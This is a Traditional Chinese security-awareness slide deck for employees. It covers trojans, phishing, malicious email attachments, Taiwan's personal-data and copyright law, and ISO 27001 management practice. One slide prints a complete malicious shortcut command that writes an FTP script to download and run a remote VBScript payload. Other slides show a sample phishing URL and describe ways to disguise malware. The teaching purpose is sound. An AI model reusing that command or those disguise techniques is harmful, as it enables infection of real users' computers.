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大綱

資訊安全為什麼與您有關？

瞭解您的資訊安全威脅

個人資料保護︰保護自己、保護他人

常見的網路侵權

什麼是資訊安全管理制度(ISMS)

您可以為組織資訊安全盡一份力

結語
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瞭解您的資訊安全威脅

個人資料保護︰保護自己、保護他人

常見的網路侵權

什麼是資訊安全管理制度(ISMS)

您可以為組織資訊安全盡一份力

結語
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2004年5月，電影「特洛依︰
木馬屠城」

電影主角阿基里斯在希臘神
話中是刀槍不入的勇猛戰
士，堪稱無敵！

Enter your subtitle here

(圖片來源)
http://www.atrium-media.com
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阿基里斯刀槍不入的全身，源於嬰兒時
由母親倒抓其右腳踝浸泡冥河，所以只
有沒浸泡到的右腳踝是其唯一弱點

所以縱使阿基里斯神勇無敵，在敵人一
箭射中其右腳踝後，無敵神話仍舊破
碎！

(圖片來源)
http://blogs.vembu.com
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在資訊安全裡，我們說︰
Security is a chain.

It's only as secure as the weakest link.
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資訊安全的「木桶理論」

四塊長短不一的木板組成木
桶，所能承盛的水量高度取
決於最短的那塊木板

一個團體的整體素質水準不
取決於最好的一位，而是取
決於最差的那一名
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組織建構了護城河 → 內部
網路保護
建起了高昂的城牆 → 各項
安全防護
建造了堅固的城門 → 防火
牆

而您，士兵準備好了嗎…
您的輕忽，可能開啟防護漏
洞…

(圖片來源)
http://www.japaneselifestyle.com.au
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資訊安全為什麼與您有關？

瞭解您的資訊安全威脅

個人資料保護︰保護自己、保護他人

常見的網路侵權

什麼是資訊安全管理制度(ISMS)

您可以為組織資訊安全盡一份力

結語
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USB病毒

您可能不曉得…

您的電腦病毒是您自己帶回家的！

在隨身碟寫入自動

 執行電腦病毒
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密碼安全

您可能不曉得…

您的懶人密碼讓駭客輕易破解您的密碼！

使用暴力破解軟體

 破解網路相簿密碼
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無線網路威脅

您可能不曉得…

您輕忽無線網路安全所造成
 資安嚴重威脅！

無線基地台遭入侵

 造成帳號密碼外洩
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釣魚網頁

您可能不曉得…

您接到詐騙電話是因為您自己在釣魚網站
 洩露了帳號密碼！

http://yahooo.c65.163ns.com/data/bak/
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社交工程攻擊

您可能不曉得…

您早就淪為社交工程攻擊受害者！

惡意程式執行檔
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駭客如何入侵您的電腦？！

主動式的攻擊

- 電子郵件

- 即時通

上勾式的攻擊

- 釣魚網站

- 工具軟體嵌入惡意程式

未更新修補程式

安全防護不足

- 例如未啟用防火牆功能

誘騙您上當植入木馬程式 利用漏洞進行入侵
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媒體報導「駭客侵視訊 偷拍出浴女」

駭客以木馬程式植
入他人電腦，再遠
端開啟女子電腦上
的攝影機…
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木馬程式

所以您要曉得，

這些木馬程式威力強大，一旦中招，可能就任由宰割了！

被遙控的電腦
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木馬程式的威脅

您不能依賴防毒軟體能幫
您阻擋掉所有的木馬程式
，因為這些惡意程式可能
利用「加殼免殺」技術避
過防毒軟體的偵測！
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木馬程式的技倆

所以只要想辦法讓您去執行它…

您就被植入木馬程式了！！

林志玲MaggieQ露三點寫真

三點寫真.com



21

電子郵件攻擊的陷阱

夾帶惡意程式執行檔

內文中的惡意網頁超連結

Html郵件隱藏遠端下載
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夾帶惡意程式執行檔

常見的惡意程式執行檔類型 「捷徑」亦是下載與執行惡意
程式的方法

.exe .com
.bat

.pif
.scr

.lnk
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小新的自白書.bat
預防帳號盜用.lnk
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「捷徑」攻擊技倆解析

捷徑是一串DOS指令的集合

此例中，這串指令執行了

- 連接一個伺服器

- 下載惡意程式(木馬程式)

- 執行它！

%ComSpec% /c set h=p -&set j=ge&set s=.g03z.&echo echo o www%s%com^>t>b.bat&call 
b.bat&echo aa33>>t&echo bb33>>t&echo echo %j%t p p.vbs^>^>t>>c&echo echo 
bye^>^>t>>c&echo ft%h%s:t>>c&echo start p.vbs>>c&ren c h.bat&call h.bat&



25

內文中的惡意網頁超連結
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http://penghu.ksdg.com.tw/gb/flash.htm?075

畫面上顯示的連結網址

 與真實網址不同…
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惡意網頁技倆解析

利用工具將惡意程式執行檔
(.exe)轉檔為.bmp、.htm和
.asp三個檔案，放上網頁

當您受騙連上這個鏈結網址
(.htm)，即下載安裝了這個
惡意程式！
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Html郵件隱藏遠端下載

Html電子郵件可以在Html中撰寫程式語法，所以您只要瀏覽電
子郵件，就觸發該程式執行

利用IE漏洞，不開啟附檔也會中毒！

- 2004年3月，Beagle.O電腦病毒使用IE漏洞攻擊，使用者在
 Outlook / Outlook Express環境下啟用信件預覽功能，信件中

 的script就會啟動，連結到惡意程式網站下載病毒程式
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Html郵件遠端下載範例
發信端 收信端

夾帶了一張遠端

 下載圖片，並將

 圖片隱藏 在這個範例中，

 遠端下載圖片有

 被阻擋
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Html郵件遠端下載範例 (續)

如果收信端下載了這
張圖片，即沒有設定
阻擋

籍這張圖片下載，發
信端獲取了他的電腦
環境資料…
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關閉自動下載圖片

以Microsoft Outlook 2007為例
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關閉自動下載圖片

以Outlook Express為例
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工具軟體嵌入惡意程式

例如將惡意程式執行檔偽裝成
一個自解壓縮檔

所以您以為您下載了一個某壓
縮檔，但其實您一點擊(您以
為是解壓縮)，惡意程式就執
行與植入了！

惡意程式偽裝技倆解析 – 變更檔案圖示
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工具軟體嵌入惡意程式

將A(您想下載的檔案)、B(惡
意程式)兩個檔案合併成一個
新檔案，並命名為A

執行這個新檔案時，A、B兩
個檔案都會執行

您會看到A檔案正常執行，
但您大概不曉得B檔案也已
同時安裝進您的電腦！

惡意程式偽裝技倆解析 – 合併檔案
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利用漏洞進行入侵

網路上有各種利用系
統漏洞 / 軟體漏洞進
行攻擊的惡意程式

若您沒有即時更新修
補程式，您就可能成
為這些惡意程式的受
害者

利用尚未更新修補程式的漏洞
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利用漏洞進行入侵

很多攻擊手法都是利用您電腦的安全防護不足才能成功入侵

例如如果您啟用了防火牆

- 那麼利用網路掃瞄來試圖入侵，大概就無效！

如果您更新了最新的病毒碼

- 那麼試圖置入特定程式的入侵方法，也會無效！

利用安全防護不足的漏洞



36

資訊安全為什麼與您有關？

瞭解您的資訊安全威脅

個人資料保護︰保護自己、保護他人

常見的網路侵權

什麼是資訊安全管理制度(ISMS)

您可以為組織資訊安全盡一份力

結語
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您可能沒有注意到，
其實您不經意的電腦使用習慣，散播了他人的個資…
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郵件轉寄

轉寄網路郵件

可能沒注意到要保護他人個資，而外洩了他人的個人資料…



39

郵件轉寄

轉寄網路郵件

可能沒注意到要保護他人隱私，而外洩了他人的郵件信箱…
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號稱您的轉寄贊助捐款，
是垃圾郵件業者收集郵件
信箱的伎倆

您轉寄這些郵件亦只是外
流您朋友的郵件信箱
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您可能沒有也不曉得，
下列這些都是您沒有適當保護自己個資與隱私

的外洩風險…
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學生在校內遺失USB記憶卡
，內載有該學生與女友交歡
的短片
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將手機交予電話服務商
維修，遭技術人員發現
內有淫片，將短片複製
與友人分享，終被人上
載網路流傳
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專校學生模仿性愛
照外流事件。學生
表示相簿加密上鎖
，不知為何遭人解
碼流傳
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個人資料保護越來越受到重視，
新的電腦處理個人資料保護法修訂草案

正在審議…
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考慮個資外洩賠償上限
從現行法二千萬元提高
到十億元！！(2008/5)

電視購物頻道、網路書
店，或洩漏民眾病歷等
在未來修法後還出現類
似個資外洩案，可能會
遭到億元以上的鉅額賠
償！
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電腦處理個人資料保護法修訂草案

名稱將修訂為「個人資料保護法」

- 草案修正方向

- 擴大保護客體

- 普遍適用主體

- 增修行為規範

- 強化行政監督

- 妥適調整罰則

- 促進民眾參與
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現行法與修正草案對照表 (1/3)

項 目 現 行 法 修正草案

擴大保護客體
限經電腦處理之個人

 資料
任何形式之個人資料

普遍適用主體
公務機關、八大行業

 及指定適用之團體或

 個人。

任何自然人、法人、公務與非公務機

 關。中華民國領域外，對中華民國人

 民蒐集、處理或利用個人資料者，亦

 適用

增修行為規範
(特種資料) 無規範

醫療、基因、性生活、健康檢查及犯

 罪前科等五類資料，原則不得蒐集、

 處理或利用

增修行為規範
(通知義務)

僅規定公告機制無規

 定通知義務
無論直接或間接蒐集個人資料均需告

 知當事人
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現行法與修正草案對照表 (2/3)

項 目 現 行 法 修正草案

增修行為規範
(書面同意) 無規範

特定目的外利用個資需當事人書面同

 意方式

增修行為規範
(拒絕接受行銷

 權利)
無特別規定

首次行銷應免費提供當事人表示拒絕

 之方式

強化行政監督 無規範
中央目的事業主管機關或直轄市、縣( 
市)政府，發現違反本法規定時，得派

 員進入檢查，並採取必要處分

妥適調整罰則
(刑罰規定)

僅處罰意圖營利侵害

 個資隱私權益者，刑

 期最高2年以下

違反規定雖未意圖營利，刑期最高2 
年以下
意圖營利者加重其刑最高5年以下



50

現行法與修正草案對照表 (2/3)

項 目 現 行 法 修正草案

妥適調整罰則
(民事損害賠償)

每人每一事件2 萬元以

 上，10萬元以下同一

 原因事實最高2000萬

 元

每人每一事件5000元以上，10萬元以

 下
同一原因事實最高5000萬元(待定)

妥適調整罰則
(機關代表人

 同受罰則)
無規範

企業代表人、管理人對違反規定之行

 為，除能證明已盡防止義務外，應受

 同一額度罰鍰之處罰

妥適調整罰則
(主動通知

 安全責任)
無規範

當蒐集之個資有被竊取、洩漏、竄改

 或侵害時，應迅速通知當事人，隱匿

 不報者，除限期改正外，按次罰以2 
萬元以上，20萬元以下

促進民眾參與 無規範
符合規定之公益團體可代替當事人提

 起團體訴訟
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提醒您，您是否真的沒有外洩個資？

51
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資訊安全為什麼與您有關？

瞭解您的資訊安全威脅

個人資料保護︰保護自己、保護他人

常見的網路侵權

什麼是資訊安全管理制度(ISMS)

您可以為組織資訊安全盡一份力

結語
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何姓女學生在網站以兩百元購買日劇「流星花園」
光碟。之後她在拍賣網站以同價格出售，被○○國
際公司指控涉及違反著作權法理會同警方逮捕…
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很多網友反應，在網路上販賣盜版光碟，被代理商抓包索賠
10~20萬元和解，許多網友不滿這家代理商用釣魚的方式，
坑殺他們的荷包…

網友說︰一片賣99元扣掉運費40元的
 東西是圖利嗎？最可惡的是此公司員
 工獅子大開口叫人賠償好幾十萬元~~
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被網友點名的○○國際公司，代理很多知名日劇，經常在拍
賣網站上裝成買家搜尋一些賣盜版光碟的網友

很多賣家在網路上留言，自己被代理商設局，不想吃上官司
，就得賠償一大筆錢…

轉賣兩百元的影音光碟片卻須花十萬元、廿萬元
 和解，顯然不合情理，但這是著作權法第九十一
 條賦予代理商告發販賣盜版者的權力…
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九十三年前的著作權舊法舊法是處罰以營利為目的之重製犯
行，即以大規模壓片的光碟工廠和大盤商為目標；不處罰轉
賣一片或一套中古光碟的個人。除非轉賣的數量超過五份、
或價值三萬元以上才會被法辦

後來因為美商及國內代理商施壓，才修訂著作權法，增訂現
今的通殺條款
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「小弟因看完一片香港正版的平行輸入真品
 DVD ，在拍賣賣出，4月2日郵寄賣出，前兩天

 被自稱○○國際股份有限公司的法務代理商帶警
 察來家裡抓人…我真的傻眼！

 在此之前我完全不知道原來正版的也有罪?? 而
 且只是販售一件真品平行輸入可以搞的像殺人強

 盜一般直接帶警察來家裡抓人？！」

違反著作權法第八十七條第一項
 第四款禁止真品平行輸入及第九
 十一條之一侵害散布權的規定
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台灣有嚴厲的著作權法，
只能自己千萬小心，不要不小心違法了…
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一張說明「五色鳥」的照片未經授

 權引用，去年被原攝影者告上法

 庭，兩夫妻花了12萬元和解
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在「無名小站」上寫網誌，將398 
首歌曲上傳放在部落格中供試聽

只要當成背景音樂或和網友分享，

 不提供下載也會吃上官司
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依著作權法的規定，
擅自使用他人的著作物，確實涉及侵權！
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著作權法修正案

行政院於98年5月13日公佈著作權法部分條文修正，第六章之
一「網路服務提供者民事免責事由」或稱「 ISP責任避風港條
款」

網路服務提供者包含︰

- 連線服務提供者(Hinet、Seednet、TANet等)

- 快速存取服務提供者

- 資訊儲存服務提供者(提供部落格、網路拍賣服務等)

- 搜尋服務提供者(Google等搜尋引擎)
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侵犯著作權行為

經著作權人舉證

使用者構成著作財產權之侵害，ISP構成共同侵權行為

ISP與使用者依法負民事連帶賠償責任

使用者 →依法負刑事責任：3年以下有期徒刑

ISP行為人→依法負刑事責任：3年以下徒刑

ISP(法人) →依法負刑事責任：罰金
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避風港條款 & 三振條款

避風港條款

- ISP業者只要採取「通知/取下」及「三振條款」等機制，對
 於別人利用其服務侵害著作權或受不當通知而取下網路資料
 ，都可以不負法律責任，不用擔心隨時會捲入著作權人與網
 路使用者的爭訟

三振條款

- 係指網路使用者若有三次涉及侵權情事，就會被終止網路服
 務，不能使用ISP業者提供的網路服務
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資訊安全為什麼與您有關？

瞭解您的資訊安全威脅

個人資料保護︰保護自己、保護他人

常見的網路侵權

什麼是資訊安全管理制度(ISMS)

您可以為組織資訊安全盡一份力

結語
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資訊安全三大原則

機密性(Confidentiality)：

-
 

確保資訊只有獲得授權的人才能存取

完整性(Integrity)：

-
 

確保資訊在維護與處理過程中沒有遭到變動與竄改

可用性(Availability)：

-
 

確保經授權的使用者在需要時，可以適時取得資訊
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www.nii.org.tw

資訊安全管理內容

Encryption加密

Platform  
security

平台安全

Personnel security
人員安全

Monitoring & intrusion 
detection

監督與入侵偵測

Password 
management
密碼管理

Physical 
Security
實體安全

Infrastructure security 
management

基礎建設安全管理

Business continuity
Management
企業永續運作管理

Fallback
Planning
還原計劃

Virus prevention 
& detection 
病毒防治與偵測

Certificate registration 
& management 

認證註冊與管理

Penetration
testing

滲透測試

Authentication & 
access  control
身份驗證與存取控制

Incident response & crisis 
management
意外事件回應與犯罪管理

Risk 
management

風險管理
Firewall & connectivity 
management 
防火牆與連線安全

Security 
architecture
安全架構

正確性

可用性機密性
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資訊安全管理制度

資訊安全管理制度(Information Security Management System, 
ISMS)

-
 

以營運風險方案為基礎，用以建立、實施、操作、監督、審
 查、維持及改進資訊安全

2005年，國際標準組織(ISO)頒布ISO 27001：2005「資訊安全管
理系統」標準
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ISO 27001涵蓋內容

11 個領域、 39 個控制目標、 133 個控制要點

遵循性

持續營運管理

實
體
與
環
境

 

安
全

通
訊
與
作
業

 

管
理

存
取
控
制

資
訊
安
全
事
故

 

管
理

資
訊
系
統
獲
取

 

、
開
發
及
維
護

資產管理

資訊安全組織

安全政策

人
力
資
源
安
全
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資訊安全管理制度趨勢

在政府帶動下，許多電信、金融與
資訊服務，為能取得客戶信任，紛
紛推動ISMS的建置

在法規要求以及客戶期望下，推行
資訊安全管理制度已成為組織永續
經營之必要工作

已過ISO 27001驗證單位數

日本 3191 
印度 451
英國 400 
台灣 321 
中國 190 
德國 119 
美國 91 
韓國 88 
捷克 68 

匈牙利 65 
http://www.iso27001certificates.com/

(統計至2009/5)
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資訊安全管理制度導入步驟

確認驗證範圍
規劃專案時程
前置教育訓練
專案啟始會議

現況訪談
盤點資訊資產
營業衝擊分析
威脅弱點分析
評定風險
擬定控制項目
適用性聲明書

政策與組織
建置管理文件
落實日常紀錄

營運計畫演練
內部稽核
管理審查會議
驗證
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資訊安全管理制度PDCA模型

鑑定改善需求

執行改善工作

報告執行結果

確認目標達成

持續追蹤改善

Act-改善Act-改善

建立管理文件體系
建置控制方法
執行管理程序
教育訓練及宣導

Do-施行Do-施行

建立ISMS環境
執行風險管理

Plan-計畫Plan-計畫

執行監控程序

風險再評鑑

定期施行稽核

績效評估

Check-檢查Check-檢查
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資訊安全管理制度實施效益

提升組織競爭力與形象

確保業務資訊之機密性、完整性與可用性

降低資訊安全威脅

建立資源管理機制

建立管理程序

確保業務持續運作

強化風險管理
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資訊安全為什麼與您有關？

瞭解您的資訊安全威脅

個人資料保護︰保護自己、保護他人

常見的網路侵權

什麼是資訊安全管理制度(ISMS)

您可以為組織資訊安全盡一份力

結語
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員工的資料保護安全認知
 

(1/5)

重視個人帳號的密碼安全

帳號密碼為身份驗證的基本防護，務必重視密碼保護並設定強
度足夠的安全密碼

在工作場所之外的電腦登入使用系統，須留意是否為安全的使
用環境並確認密碼無外洩之虞
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員工的資料保護安全認知
 

(2/5)

注意敏感資料的保護

適當保護敏感資料，例如將文件加密或設定開啟密碼

遵守組織的保密規定及遵行各項使用規範

提供資料供公開查閱，須確認是否有民眾敏感資料（例如身份
證字號、通訊資料等）被不當暴露
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員工的資料保護安全認知
 

(3/5)

遵循公司的電腦使用規定

工作電腦的使用，應遵循組織的電腦使用規定

即使工作電腦的使用權限允許安裝軟體，亦必須合乎組織資訊
安全規定、軟體使用規範與法令
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員工的資料保護安全認知
 

(4/5)

防範網路詐騙攻擊

仔細辨視網址列上的網址，詐騙網頁常使用一些易混淆的字母
來偽裝誘騙

當點擊的網址為原網站的外部連結時，應格外提高警覺

不要因為好奇心任意點擊情色、聳動等標題的網址連結

網頁、電子郵件畫面上顯示的連結網址，可能造假。可將游標
停留在該連結，左下方會出現真實的連結網址，可確認該連結
是否為真

電子郵件夾帶副檔名.exe、.com、.bat等檔案，幾乎都是惡意
程式，不要開啟
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員工的資料保護安全認知
 

(5/5)

工作帶回家可能致生的資料外洩風險

除非組織規定允許，否則不應將公務資料帶回家

如果必須將公務資料帶回家處理，應確認家中電腦亦有適當的
安全防護，例如啟用防火牆、安裝防毒軟體並更新最新病毒
碼、更新系統修補程式等

若使用家中電腦處理公務資料，應儘量保持為較安全的使用環
境，例如不要安裝P2P軟體，甚至離線作業

儲存重要資料的外接式儲存媒體應小心保管

個人慣用的筆記型電腦常存有個人、公務資料，應特別留意保
管，勿讓宵小有機可乘
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資訊安全為什麼與您有關？

瞭解您的資訊安全威脅

個人資料保護︰保護自己、保護他人

常見的網路侵權

什麼是資訊安全管理制度(ISMS)

您可以為組織資訊安全盡一份力

結語
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結語

組織資訊安全的落實需要高階主管的支持

組織內的每一位成員都可能成為資訊安全漏洞

資訊安全不只是軟/硬體設備或技術能力，還須輔以管理制度
及持續運作與改進

資訊安全不是資訊人員的責任，而是組織內全體人員的責任

資訊安全須融入日常生活方能久遠維護
觀念認知 責任感建立 習慣養成



82

吳昭儀

joycewu@nii.org.tw
NII產業發展協進會

簡報完畢，敬請指教！

http://www.presentationpoint.de/
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